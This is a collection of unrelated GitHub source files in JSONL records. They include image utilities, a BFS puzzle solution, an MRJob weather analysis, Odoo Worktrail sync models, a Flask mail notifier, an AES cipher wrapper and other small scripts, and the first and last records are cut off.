pt_tone_ref_add_gaussian_noise(ldrs[j][cur_l_idx], stdv1=1e-4, stdv2=1e-3, scale=False)\n elif args.tone_ref:\n ldrs[j][cur_l_idx] = pt_tone_ref_add_gaussian_noise(ldrs[j][cur_l_idx], stdv1=1e-3, stdv2=1e-3, scale=False)\n else:\n raise Exception('Unknown tone low mode')\n\n# image read/save\n\n###### Image Loading ######\ndef read_16bit_tif(img_name, crf=None):\n img = cv2.imread(img_name, -1) #/ 65535.0 # normalize to [0, 1]\n img = img[:, :, [2, 1, 0]] # BGR to RGB\n #print('before', img.max(), img.mean(), img.min())\n if crf is not None:\n img = reverse_crf(img, crf)\n img = img / crf.max()\n else:\n img = img / 65535.0\n #print('after', img.max(), img.mean(), img.min())\n return img\n\ndef reverse_crf(img, crf):\n img = img.astype(int)\n out = img.astype(float)\n for i in range(img.shape[2]):\n out[:,:,i] = crf[:,i][img[:,:,i]]\n return out\n\ndef read_hdr(filename, use_cv2=True):\n ext = os.path.splitext(filename)[1]\n if use_cv2:\n hdr = cv2.imread(filename, -1)[:,:,::-1].clip(0)\n # elif ext == '.exr':\n # hdr = read_exr(filename) \n elif ext == '.hdr':\n hdr = cv2.imread(filename, -1)\n elif ext == '.npy':\n hdr = np.load(filename) \n else:\n raise_not_defined()\n return hdr\n\n# def read_exr(filename):\n# hdr_file = OpenEXR.InputFile(filename)\n# img = to_array(hdr_file)\n# return img\n\ndef imsave(path, x):\n if x.ndim == 4:\n x = x.squeeze()\n x = 255.*x\n x = np.transpose(x.cpu().numpy(), (1, 2, 0)) # C H W -> H W C\n x = x[...,::-1] # RGB to BGR\n cv2.imwrite(path, x)\n\n\n# def to_vis(image):\n# i = (image + 1)*127.5\n# i = i.type(torch.uint8)\n# return i\n\n# if __name__ == \"__main__\":\n\n# import cv2 as cv\n# import numpy as np\n\n# e = np.zeros((128,128,1)).astype(np.uint8)\n# e[32:96,32:96] = 255\n\n\n# ret, thresh = cv.threshold(e, 0, 255, cv.THRESH_BINARY + cv.THRESH_OTSU)\n\n\n# # 이진화된 결과�� dist_transform 함수의 입력으로 사용합니다. \n\n# dist_transform = cv.distanceTransform(thresh, cv.DIST_L2, 3)\n# # dist_transform 함수를 사용하면 실수 타입(float32)의 이미지가 생성됩니다. 화면에 보여주려면 normalize 함수를 사용해야 합니다. \n# result = cv.normalize(dist_transform, None, 255, 0, cv.NORM_MINMAX, cv.CV_8UC1)\n\n# cv.imshow(\"dist_transform\", result)\n# cv.imshow(\"src\", e)\n\n# cv.waitKey(0)","repo_name":"haesoochung/LAN-HDR","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":19367,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"31096372179","text":"import sys\nfrom collections import deque\n\nload = [0 for _ in range(100001)]\nqueue = deque()\n\ndef dis():\n global load, k, queue\n a, dep = queue.popleft()\n if a < 0 or a > 100000: # 범위 이탈\n return\n if a == k: # 종료 조건\n load[a] = dep\n return\n elif a > k:\n if load[k] and load[k] <= dep + a - k:\n return\n else:\n load[k] = dep + a - k\n return\n if load[a] and load[a] <= dep:\n return\n else: # load[a] > dep\n load[a] = dep\n queue.extend([[a-1, dep+1], [a+1, dep+1], [a*2, dep+1]])\n\nn, k = map(int, sys.stdin.readline().split())\n\nqueue.extend([[n, 0]])\nwhile not(load[k]) or load[k] > queue[0][1]:\n dis()\n if not(queue):\n break\n\nprint(load[k])","repo_name":"dee021/CodingTest","sub_path":"백준/Silver/1697. 숨바꼭질/숨바꼭질.py","file_name":"숨바꼭질.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72861330782","text":"import json\nimport sys\n\nf = open(sys.argv[1], 'r')\ngpu_nums = int(sys.argv[2])\nbatch_size = int(sys.argv[3])\n\nepoch = 0\ncnt = 0\nfps = 0\ntotal_fps = 0\nfor data in f:\n line = json.loads(data)\n if not 'mode' in line:\n pass\n elif line['mode'] == 'train':\n # ignore first 50 iters\n if line['iter'] > 50:\n cnt = cnt + 1\n fps = fps + gpu_nums * batch_size / line['time']\n elif line['mode'] == 'val':\n epoch = epoch + 1\n print({'epoch': epoch, 'fps': fps / cnt})\n total_fps = total_fps + fps / cnt\n cnt = 0\n fps = 0\nprint({'fps': total_fps / epoch})\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/contrib/cv/detection/FSAF_for_Pytorch/calc_fps.py","file_name":"calc_fps.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"33237741445","text":"DATA_MATRIX = \"Data\\\\Matrix_normalised_pos.csv\"\n\n# Cas, Temoin, TC\nEXPERIMENT_DESIGNS = {\n \"Ctrl_vs_Case\": {\n \"classes\": {\"Controls\": [\"Temoin\"], \"Cases\": [\"Cas\"]},\n \"TestSize\": 0.2,\n },\n # \"Control vs TC\":{\n # \"classes\": {\n # \"Controles\":[\"Cas\"],\n # \"TC\": [\"TC\"]\n # },\n # \"TestSize\": 0.2,\n # },\n # \"TC vs Cas\":{\n # \"classes\": {\n # \"TC\":[\"TC\"],\n # \"Cases\": [\"Cas\"]\n # },\n # \"TestSize\": 0.2,\n # },\n # \"Control vs all\":{\n # \"classes\": {\n # \"Control\":[\"Temoin\"],\n # \"All\": [\"Cas\", \"TC\"]\n # },\n # \"TestSize\": 0.2,\n # },\n}\n","repo_name":"corbeillab/MeDIC","sub_path":"metabodashboard/service/ExperimentDesign.py","file_name":"ExperimentDesign.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"46188329493","text":"\nfrom cgitb import text\nfrom bpy.types import Panel\n\nclass BATCHBAKE_PT_PANEL(Panel): #N panel\n Panel.bl_space_type = \"VIEW_3D\"\n Panel.bl_region_type = \"UI\"\n\n Panel.bl_label = \"BatchBake\"\n Panel.bl_category = \"Edit\"# tabs in N panel\n\n def draw(self,context):\n layout = self.layout\n\n # properties\n myprops = context.scene.batchbake_properties#properties reference\n \n row_00 = layout.row(heading = 'Bake Multiple Objects')\n row_00.label(text=\"Bake Multiple Objects\")\n layout.split(factor = 2 , align = True)\n\n row_01 = layout.row(align= True)\n colmun_1 =row_01.column()\n column_2 = row_01.column()\n\n colmun_1.prop(myprops,property = \"high_prefix\",text = 'h') #Draw and Transfer properties value\n column_2.prop(myprops,property = \"low_prefix\",text = 'l') #Draw and Transfer properties value\n\n row_02 = layout.row()\n row_02.prop(myprops, \"bake_collection\")#Draw and Transfer properties value\n \n row_03 = layout.row()\n row_03.prop(myprops ,property = \"cage_midlevel\",text = 'Cage Size')\n\n row_03_1 = layout.row()\n row_03_1.prop(myprops,property = 'bake_type_enum',text='')# Enum type\n\n row_04 = layout.row()\n row_04.enabled = True\n row_04.operator(\"object.batch_bake_mods\")# bind with ops bl_idname\n #end properties","repo_name":"tonyzhenyu/BlenderBatchBaker","sub_path":"BatchBake_pnl.py","file_name":"BatchBake_pnl.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9679358884","text":"__author__ = 'olga'\nimport re\nimport sys\n\nimport pandas as pd\nimport numpy as np\n\n\ndef counts_pair_to_ints(x):\n x = x.split(':')\n isoforms = tuple(map(int, x[0].strip('()').split(',')))\n counts = int(x[1].rstrip(','))\n return isoforms, counts\n\n\ndef counts_col_to_dict(counts):\n return dict(map(counts_pair_to_ints, re.findall('\\(\\d,\\d\\):\\d+,?', counts)))\n\n\ndef filter_miso_summary(summary, ci_diff_thresh=0.5,\n specific_isoform_counts_thresh=5):\n \"\"\"Filter a MISO summary dataframe created by gscripts.outputParsers\n .parseMiso.read_miso_summary on the maximum confidence interval half\n size, and number of \"junction reads\" (reads that are specific to one\n isoform)\n\n Parameters\n ----------\n summary : pandas.DataFrame\n A \"tall\" dataframe of all samples and splice types\n\n Returns\n -------\n\n\n Raises\n ------\n \"\"\"\n # summary = summary.ix[summary.ci_halves_max <= ci_halves_max_thresh]\n # summary = summary.ix[summary.ci]\n original_events = summary.shape[0]\n summary = summary.ix[summary.ci_diff <= ci_diff_thresh]\n after_ci_events = summary.shape[0]\n isoform_counts = pd.DataFrame.from_dict(dict(zip(summary.index,\n summary.counts.map(\n counts_col_to_dict).values)),\n orient='index')\n\n # Get counts that support only one specific isoform \"junction reads\"\n specific_isoform_counts = isoform_counts.ix[:, [(0, 1), (1, 0)]].sum(axis=1)\n\n # Filter on at least 10 \"junction reads\"\n summary = summary.ix[\n specific_isoform_counts >= specific_isoform_counts_thresh]\n after_counts_events = summary.shape[0]\n\n # Set the index as just the range now that we've filtered everything out\n summary.index = np.arange(after_counts_events)\n\n sys.stdout.write(' {} events removed with poor confidence (ci >{:.2f})\\n'\n .format(after_ci_events - original_events, ci_diff_thresh))\n sys.stdout.write(' {} events removed with low read counts which are unique'\n ' to individual isoforms (n < {})\\n'.format(\n after_counts_events - after_ci_events, specific_isoform_counts_thresh))\n return summary\n\n","repo_name":"YeoLab/gscripts","sub_path":"gscripts/miso/filter_miso.py","file_name":"filter_miso.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"37278366144","text":"from multiprocessing import Process, Queue\nimport time\n\ndef printQ(q):\n while True:\n print(q.get())\n time.sleep(1)\n\nmpq = Queue()\n\nif __name__ == '__main__':\n for i in range(20):\n mpq.put(i)\n for i in range(3):\n p = Process(target=printQ, args=(mpq,))\n p.start()\n time.sleep(0.33)\n","repo_name":"zixiiu/ProjectNaCut","sub_path":"mpTest.py","file_name":"mpTest.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"37859909178","text":"from mrjob.job import MRJob\nfrom mrjob.step import MRStep\nfrom datetime import date\nfrom geopy.distance import vincenty\nimport numpy as np\nimport queue\n\n\ncount_pair = 0\n\nclass temp_diff(MRJob):\n\n\n def mapper(self, _, line):\n '''\n Read a pair station csv, and yield two station's information\n '''\n #create a global count,\n # add it to sort each pair of station in mapper\n global count_pair\n count_pair += 1\n names = line.split(',')\n n1 = names[0].replace('\"', '')\n n2 = names[1].replace('\"', '') \n\n # line is a pair of two station csv file\n # read in two station and yield seperately \n l1 = open('/mnt/storage/data/cleaned_by_station/' + n1, 'r+')\n l2 = open('/mnt/storage/data/cleaned_by_station/' + n2, 'r+')\n\n for line1 in l1:\n l = line1.split(',')\n\n if l[7]!='DEW':\n \n temp = int(l[7].strip('\"'))\n\n if temp != 9999:\n lat = l[3].strip('\"')\n long_ = l[4].strip('\"')\n location = (lat, long_)\n date = (l[2].replace('\"', '').split('T'))[0]\n #use count_pair to yield pair to avoid being reduced\n #in reducer\n yield (location, date, count_pair), temp\n\n for line2 in l2:\n l = line2.split(',')\n if l[7]!='DEW':\n\n temp = int(l[7].strip('\"'))\n\n if temp != 9999:\n lat = l[3].strip('\"')\n long_ = l[4].strip('\"')\n location = (lat, long_)\n date = (l[2].replace('\"', '').split('T'))[0]\n #use count_pair to yield pair to avoid being reduced\n #in reducer\n yield (location, date, count_pair), temp\n\n\n def combiner(self, locationdate, temp):\n '''\n get mean of station temperature by date\n '''\n location, date, count = locationdate\n s = 0\n num = 0\n for t in temp:\n s += t\n num += 1\n mean = s/ num\n yield (date,count), (location, mean)\n \n \n def reducer(self, date, locmean):\n '''\n generate station pair temperature difference \n and use geopy package to get the distance between them\n '''\n d, c = date\n l = list(locmean)\n if len(l) == 2:\n loc1 = l[0][0]\n loc2 = l[1][0] \n dist = vincenty(loc1, loc2).miles\n diff = np.abs(l[0][1] - l[1][1])\n\n yield (d,loc1,loc2, diff), None\n\n\n def reducer2(self, key, _):\n '''\n use PriorityQueue to keep track of nearest_5 neigbor stations\n '''\n date,location,dist, diff = key\n location = tuple(location)\n info = (location, date)\n #print(self.dic)\n\n if info in self.dic:\n if self.dic[info].full():\n if (-dist) > min(self.dic[info].queue)[0]:\n self.dic[info].get()\n self.dic[info].put((-dist, key))\n else:\n self.dic[info].put((-dist,key))\n\n else:\n nearest_10 = queue.PriorityQueue(maxsize=5)\n nearest_10.put((-dist,key))\n self.dic[info] = nearest_10\n\n\n def reducer2_final(self):\n '''\n yield station information in queue\n '''\n #sort\n for item in self.dic:\n #Queue.sort(reverse=True)\n Queue = self.dic[item].queue\n for i in Queue:\n yield i[1], None\n\n def mapper3(self, key, _):\n '''\n map the nearest_5 stations using year instead of date\n '''\n date, loc, diff = key\n year = date[:4]\n yield (year, loc), diff\n \n def combiner3(self, key, diff):\n '''\n get mean of temperature difference of each station by year\n '''\n year, loc = key\n s = 0\n num = 0\n for d in diff:\n s += d\n num += 1\n yearmean = s/ num\n yield (year, loc), yearmean\n\n \n def reducer_clean(self, key, yearmean):\n year, loc = key\n\n s = 0\n num = 0\n for y in yearmean:\n s += y\n num += 1\n m = s/ num\n yield (year, loc, m), None\n \n \n def reducer3_init(self):\n self.topyear = {}\n \n def reducer3(self, key, _):\n '''\n Keep track the top 5 temperature difference station by year\n '''\n year, loc, m = key\n loc = tuple(loc)\n #info = (loc, year)\n if year in self.topyear:\n if self.topyear[year].full():\n if (m) > min(self.topyear[year].queue)[0]:\n self.topyear[year].get()\n self.topyear[year].put((m, key))\n else:\n self.topyear[year].put((m, key))\n\n else:\n top3 = queue.PriorityQueue(maxsize=5)\n top3.put((m, key))\n self.topyear[year] = top3\n \n def reducer3_final(self):\n for item in self.topyear:\n Queue = self.topyear[item].queue\n for i in Queue:\n yield i[1], None\n \n\n def steps(self):\n return [\n MRStep(mapper=self.mapper,\n combiner=self.combiner,\n reducer=self.reducer),\n MRStep(reducer_init = self.reducer2_init,\n reducer = self.reducer2,\n reducer_final = self.reducer2_final),\n MRStep(mapper = self.mapper3,\n combiner = self.combiner3,\n reducer = self.reducer_clean),\n MRStep(reducer_init = self.reducer3_init,\n reducer = self.reducer3,\n reducer_final = self.reducer3_final)]\n\n\n\nif __name__ == '__main__':\n\n temp_diff.run()\n\n","repo_name":"xinzhusun/On-fire_CMSC12300","sub_path":"task1/task1_StationPair.py","file_name":"task1_StationPair.py","file_ext":"py","file_size_in_byte":5977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12117639539","text":"from openerp import netsvc, pooler\nfrom openerp.osv import orm, osv, fields\nfrom openerp.tools.translate import _\nimport json\nimport logging\nimport time\n\n\n_logger = logging.getLogger(__name__)\n\n\nclass tapoit_worktrail_config(orm.Model):\n\n \"\"\" TaPo-IT Worktrail Config \"\"\"\n\n _name = \"tapoit_worktrail.server.conf\"\n _description = \"Worktrail Server Configuration\"\n\n def create(self, cr, uid, vals, context=None):\n context = dict(context or {})\n\n response = self.get_request_key(cr, uid, vals)\n\n if 'authtoken' in response:\n vals['request_key'] = response['requestkey']\n vals['auth_token'] = response['authtoken']\n vals['access_granted'] = 'pending'\n vals['redirect_url'] = response['redirecturl'].replace('tapolan', 'net')\n\n new_id = super(tapoit_worktrail_config, self).create(cr, uid, vals, context=context)\n return new_id\n\n def write(self, cr, uid, ids, vals, context=None):\n context = dict(context or {})\n\n _logger.info(\"DEBUG: %s\", vals)\n\n for config in self.browse(cr, uid, ids):\n sync_type = vals.get('type', '')\n if config.type:\n sync_type = config.type\n\n values = {\n 'host': vals.get('host', config.host),\n 'secure': vals.get('secure', config.secure),\n 'port': vals.get('port', config.port),\n 'type': sync_type,\n 'app_key': vals.get('app_key', config.app_key),\n 'secret_api_key': vals.get('secret_api_key', config.secret_api_key),\n }\n\n if not vals.get('auth_token', config.auth_token):\n response = self.get_request_key(cr, uid, values)\n if 'authtoken' in response:\n vals['request_key'] = response['requestkey']\n vals['auth_token'] = response['authtoken']\n vals['redirect_url'] = response['redirecturl'].replace('tapolan', 'net')\n\n values['request_key'] = vals.get('request_key', config.request_key)\n if values['request_key']:\n response = self.test_auth_token(cr, uid, values)\n if 'status' in response:\n vals['access_granted'] = response['status']\n\n # header['X-AUTHTOKEN']\n # url = \"%s://%s:%s/rest/token/auth/?requestkey=%s\" % (config.protocol, config.host, config.port, response['requestkey'])\n # response = self.pool.get('tapoit_worktrail.sync.execution').json_request(cr, uid, url, data, header=header)\n\n return super(tapoit_worktrail_config, self).write(cr, uid, ids, vals, context=context)\n\n def get_request_key(self, cr, uid, vals):\n protocol = 'http'\n if 'secure' in vals:\n protocol = 'https'\n\n header = {\n 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',\n 'X-APPKEY': vals['app_key'],\n 'X-SECRETAPIKEY': vals['secret_api_key'],\n }\n\n if 'type' in vals:\n if vals['type'] == 'workentries':\n data = {\n 'accesstype': 'company',\n 'scopes': 'read-tasks,write-tasks,read-employees,read-workentries,write-workentries',\n }\n elif vals['type'] == 'hubstream-personal':\n data = {\n 'accesstype': 'employee',\n 'scopes': 'sync-hub-data,read-employees',\n }\n else:\n raise orm.except_orm(_('Error !'), _('Type(%s) not possible!') % vals['type'])\n\n url = \"%s://%s:%s/rest/token/request/\" % (protocol, vals['host'], vals['port'])\n return self.pool.get('tapoit_worktrail.sync.execution').json_request(cr, uid, url, data, header=header)\n\n def test_auth_token(self, cr, uid, vals):\n protocol = 'http'\n if 'secure' in vals:\n protocol = 'https'\n\n header = {\n 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',\n 'X-APPKEY': vals['app_key'],\n 'X-SECRETAPIKEY': vals['secret_api_key'],\n }\n data = {\n 'requestkey': vals['request_key'],\n }\n url = \"%s://%s:%s/rest/token/confirm/\" % (protocol, vals['host'], vals['port'])\n return self.pool.get('tapoit_worktrail.sync.execution').json_request(cr, uid, url, data, header=header)\n\n def sync_messages_hubstream(self, cr, uid, ids, context=None):\n\n for config in self.browse(cr, uid, ids):\n protocol = 'http'\n if config.secure:\n protocol = 'https'\n\n header = {\n 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',\n 'X-APPKEY': config.app_key,\n 'X-SECRETAPIKEY': config.secret_api_key,\n 'X-AUTHTOKEN': config.auth_token,\n }\n\n url = \"%s://%s:%s/rest/hub/entries/clean/\" % (protocol, config.host, config.port)\n self.pool.get('tapoit_worktrail.sync.execution').json_request(cr, uid, url, {}, header=header)\n\n create = []\n user = self.pool.get('res.users').browse(cr, uid, uid)\n notifications = self.pool.get('mail.message')\n message_ids = notifications.search(cr, uid, [('author_id', '=', user.partner_id.id)])\n for message in notifications.browse(cr, uid, message_ids):\n create.append(\n {\n 'time': self.pool.get('tapoit_worktrail.sync.execution').convertDatetime2Timestamp(cr, uid, message.date),\n # 'endtime': OPTIONAL,\n 'srctype': 'other',\n 'summary': message.body\n # 'link': OPTIONAL,\n }\n )\n # _logger.info(\"Hubentries: %s\", create)\n hubentries = {\n 'create': create\n }\n data = {'data': json.dumps(hubentries)}\n url = \"%s://%s:%s/rest/hub/entries/create/\" % (protocol, config.host, config.port)\n return self.pool.get('tapoit_worktrail.sync.execution').json_request(cr, uid, url, data, header=header)\n\n def get_status(self, cr, uid, ids, context=None):\n return self.write(cr, uid, ids, {})\n\n def reset_app(self, cr, uid, ids, context=None):\n return self.write(cr, uid, ids, {'auth_token': False, 'request_key': False})\n\n STATE_ACCESS = [\n ('pending', 'Pending'),\n ('active', 'Active'),\n ('rejected', 'Rejected'),\n ]\n\n _columns = {\n 'active': fields.boolean('Active'),\n 'dbname': fields.char('Local Database Name', size=80, required=True, help=\"This will constraint the sync to a certain database which does protect data integrity\"),\n 'name': fields.char('Name', size=50, select=1),\n 'host': fields.char('Remote Host', size=200, required=True, select=1),\n 'port': fields.char('Remote Port', size=5, required=True, select=1),\n 'type': fields.selection(\n (\n ('workentries', 'Project/Task/Work Sync'),\n ('hubstream', 'Company Hub Stream'),\n ('hubstream-personal', 'Personal Hub Stream'),\n ),\n 'Purpose', required=True\n ),\n 'mode': fields.selection((('both', 'Two-Way Mode'), ('out', 'Outgoing Mode'), ('in', 'Incoming Mode')), 'Sync Mode'),\n 'debug': fields.boolean('Debug Log'),\n 'secure': fields.boolean('SSL/TLS'),\n\n # DEPRECATED\n 'api_key': fields.char('API Key', size=200),\n\n 'app_key': fields.char('Application Key', size=25, required=True),\n 'secret_api_key': fields.char('Secret API Key', size=60, required=True),\n\n 'request_key': fields.char('Request Key', size=25),\n 'redirect_url': fields.char('Grant/Revoke access for OpenERP', size=200),\n 'auth_token': fields.char('Auth Token', size=60),\n\n 'access_granted': fields.selection(STATE_ACCESS, 'State'),\n }\n _order = \"id\"\n\n _defaults = {\n 'port': lambda * a: 443,\n 'secure': lambda * a: True,\n 'active': lambda * a: True,\n }\ntapoit_worktrail_config()\n\n\nclass tapoit_worktrail_sync(orm.Model):\n\n \"\"\" TaPo-IT Worktrail Sync History \"\"\"\n\n _name = \"tapoit_worktrail.server.sync\"\n _description = \"Worktrail Server Sync\"\n\n STATE_SYNC_HISTORY = [\n ('running', 'Running'),\n ('done', 'Done'),\n ('error', 'Error'),\n ('failed', 'Failed')\n ]\n\n _columns = {\n 'sync_conf': fields.many2one('tapoit_worktrail.server.conf', 'Sync Server', required=True, select=True, ondelete='set null'),\n 'sync_time': fields.datetime('Sync Time', readonly=True),\n 'resources': fields.many2many('tapoit_worktrail.server.resource', 'tapoit_worktrail_resources_affected_rel', 'sync_id', 'resource_id', 'Resources affected', readonly=True),\n 'duration': fields.float('Duration'),\n 'state': fields.selection(STATE_SYNC_HISTORY, 'State'),\n 'log': fields.text('Log')\n }\n\n _defaults = {\n 'sync_time': lambda *a: time.strftime('%Y-%m-%d %H:%M:%S')\n }\n\n _order = \"sync_time DESC\"\n\ntapoit_worktrail_sync()\n\n\nclass tapoit_worktrail_resource(orm.Model):\n\n \"\"\" TaPo-IT Worktrail Sync Mapping \"\"\"\n\n _name = \"tapoit_worktrail.server.resource\"\n _description = \"Worktrail Resource Mapping\"\n\n def _resource_type_get(self, cr, uid, context=None):\n resource_types = [('employee', 'Worktrail User'), ('project', 'Worktrail Project'), ('task', 'Worktrail Task'), ('work', 'Worktrail Task Work'), ('workcontext', 'Worktrail Work Context')]\n return resource_types\n\n def fields_get(self, cr, uid, fields=None, context=None):\n res = super(tapoit_worktrail_resource, self).fields_get(cr, uid, fields, context)\n resource = None\n if 'resource' in context:\n resource = context['resource']\n types = self._resource_type_get\n\n return res\n\n def onchange_resource_type(self, cr, uid, ids, resource=False, context=None):\n result = {}\n if resource:\n for type in ['employee', 'project', 'task', 'work', 'workcontext']:\n if resource not in type:\n result[type] = ''\n else:\n for type in ['employee', 'project', 'task', 'work', 'workcontext']:\n result[type] = ''\n return {'value': result}\n\n _columns = {\n 'sync_conf': fields.many2one('tapoit_worktrail.server.conf', 'Sync Server', required=True, select=True, ondelete='set null'),\n 'external_id': fields.integer('Worktrail ID', required=True),\n 'type': fields.selection(_resource_type_get, \"Resource Type\", change_default=True),\n 'employee': fields.many2one('hr.employee', 'Employee', select=True, ondelete='set null'),\n 'project': fields.many2one('project.project', 'Project', select=True, ondelete='set null'),\n 'task': fields.many2one('project.task', 'Task', select=True, ondelete='set null'),\n 'work': fields.many2one('project.task.work', 'Task Work', select=True, ondelete='set null'),\n 'workcontext': fields.many2one('tapoit.hr.project.workcontext', 'Work Context', select=True, ondelete='set null'),\n 'sync': fields.boolean('Sync'),\n 'sync_remote_modified': fields.datetime('Worktrail Modified', readonly=True),\n 'sync_openerp_modified': fields.datetime('OpenERP Modified', readonly=True),\n }\n _sql_constraints = [('employee_unique', 'unique(employee)', 'Employee/User must be unique!')]\n _order = \"sync_openerp_modified DESC\"\ntapoit_worktrail_resource()\n\n\nclass tapoit_worktrail_task_type(orm.Model):\n\n \"\"\" TaPo-IT Worktrail Task Types \"\"\"\n\n _name = \"tapoit_worktrail.server.task.type\"\n _description = \"Worktrail Task Types\"\n\n def _task_type_get(self, cr, uid, context=None):\n task_types = [('worktask', 'Task'), ('breaktask', 'Break'), ('timetask', 'Time')]\n return task_types\n\n _columns = {\n 'type': fields.selection(_task_type_get, \"Task Type\", change_default=True),\n 'task': fields.many2one('project.task', 'Task', select=True, ondelete='cascade'),\n }\ntapoit_worktrail_task_type()\n","repo_name":"tapo-it/odoo-addons-worktrail","sub_path":"addons_worktrail/tapoit_worktrail/model/tapoit_worktrail.py","file_name":"tapoit_worktrail.py","file_ext":"py","file_size_in_byte":12259,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"27736056455","text":"from flask import Flask, request, render_template, Response\nfrom flask_mail import Mail, Message\nimport json\n\napp = Flask(__name__)\nmail= Mail(app)\n\napp.config['MAIL_SERVER']='smtp.mail.ru'\napp.config['MAIL_PORT'] = 465\napp.config['MAIL_USERNAME'] = '########'\napp.config['MAIL_PASSWORD'] = '########'\napp.config['MAIL_USE_TLS'] = False\napp.config['MAIL_USE_SSL'] = True\n\nmail = Mail(app)\n\n@app.route(\"/\")\ndef index():\n return 'Hello user!'\n\n@app.route('/auth', methods=['POST'])\ndef result():\n data = request.json\n docName = data['docName']\n date = data['date']\n folder = data['docFolder']\n\n msg = Message('Hello', sender = '#######', recipients = ['########'])\n msg.body = f'New file: \"{docName}\" in {folder}. \\n{date}'\n mail.send(msg)\n\n return Response(status=200)\n\nif __name__ == '__main__':\n app.run()","repo_name":"teqnot/pachkaites","sub_path":"mail/pachkaitesAPI.py","file_name":"pachkaitesAPI.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"70121185182","text":"\"\"\"Utility functions\"\"\"\n\nfrom sklearn.metrics import accuracy_score, classification_report, \\\n confusion_matrix, roc_auc_score, roc_curve\n\nimport plotly.express as px\n\n# global variables\nacc_scores = {}\nfprs = {}\ntprs = {}\nauc_scores = {}\n\n\ndef evaluate(model: object, X, y, model_name: str) -> None:\n # confusion matrix\n tick_text = [\"0\", \"1\"]\n fig = px.imshow(\n confusion_matrix(model.predict(X), y),\n x=tick_text, y=tick_text\n )\n fig.update_layout(dict(\n title=f\"Confusion Matrix of {model_name}\",\n yaxis_title=\"True label\",\n xaxis_title=\"Predicted label\",\n coloraxis_colorbar=dict(title=\"Number classified\")\n ))\n fig.show()\n # classification report\n print(\"CLASSIFICATION REPORT:\")\n print(classification_report(model.predict(X), y, zero_division=True))\n acc_scores[model_name] = accuracy_score(model.predict(X), y)\n fprs[model_name] = roc_curve(y, model.predict_proba(X)[:, 1])[0]\n tprs[model_name] = roc_curve(y, model.predict_proba(X)[:, 1])[1]\n auc_scores[model_name] = roc_auc_score(y, model.predict_proba(X)[:, 1])\n","repo_name":"f1lem0n/SIRS-genomics","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6370384601","text":"from Crypto.Cipher import AES\nfrom Crypto import Random\nimport base64\n\nclass AESCipher:\n def __init__(self, key, bs):\n self.key = key # secret key\n self.bs = bs # block size\n\n def encrypt(self, raw):\n if(len(raw) % self.bs != 0):\n raw = self.pad(raw)\n initVect = Random.new().read(AES.block_size)\n cipher = AES.new(self.key, AES.MODE_CBC, initVect)\n return base64.b64encode(initVect + cipher.encrypt(raw))\n\n def decrypt(self, enc):\n enc = base64.b64decode(enc)\n initVect = enc[:AES.block_size]\n cipher = AES.new(self.key, AES.MODE_CBC, initVect)\n return self.unpad(cipher.decrypt(enc[AES.block_size:]))\n\n # Adds padding if the input isn't a multiple of block size\n def pad(self, raw):\n inputlen = len(raw)\n difference = (self.bs - inputlen) % self.bs\n raw += difference.to_bytes(difference, 'big')\n return raw\n\n # Removes the padding\n def unpad(self, s):\n return s[:-ord(s[len(s)-1:])]\n\n\nif __name__ == \"__main__\":\n #img = cv2.imread('../siamese_network_facial_recognition/recorded_images/praveen_seeniraj/testImage0.png')\n msg = b'testtes'\n #msg = bytes(img)\n # create the encryption object\n cipher = AESCipher('mysecretpassword', 16)\n # encrpyt\n encrypted = cipher.encrypt(msg)\n print(len(encrypted))\n print(type(encrypted))\n # decrypt\n decrypted = cipher.decrypt(encrypted)\n\n #print(encrypted)\n print(decrypted == msg)\n","repo_name":"DarkOne1211/home-security-system","sub_path":"crypto/AESCipher.py","file_name":"AESCipher.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"4907721221","text":"from __future__ import annotations\nfrom typing import Tuple, List, TYPE_CHECKING, Union\nfrom pathfinding.core.grid import Grid\nfrom pathfinding.finder.a_star import AStarFinder\nimport numpy as np\n\nfrom config import get_logger\nimport util\n\nif TYPE_CHECKING:\n from unit_manager import UnitManager\n\nlogger = get_logger(__name__)\n\n\ndef _get_sub_area(costmap: np.ndarray, lowers, uppers):\n \"\"\"Reduces area of map\"\"\"\n # Ranges\n x_range, y_range = [(lowers[i], uppers[i]) for i in range(2)]\n\n # Reduced size cost map\n new_cost = costmap[range(*x_range), :][:, range(*y_range)]\n return new_cost\n\n\ndef _adjust_coords(start, end, lowers) -> Tuple[Tuple[int, int], Tuple[int, int]]:\n \"\"\"Adjust coords to new reduced area map\"\"\"\n new_start = [c - l for c, l in zip(start, lowers)]\n new_end = [c - l for c, l in zip(end, lowers)]\n return tuple(new_start), tuple(\n new_end\n ) # Complaining about unknown length of tuples\n\n\ndef _adjust_path_back(path: np.ndarray, lowers):\n \"\"\"Adjust path back to the 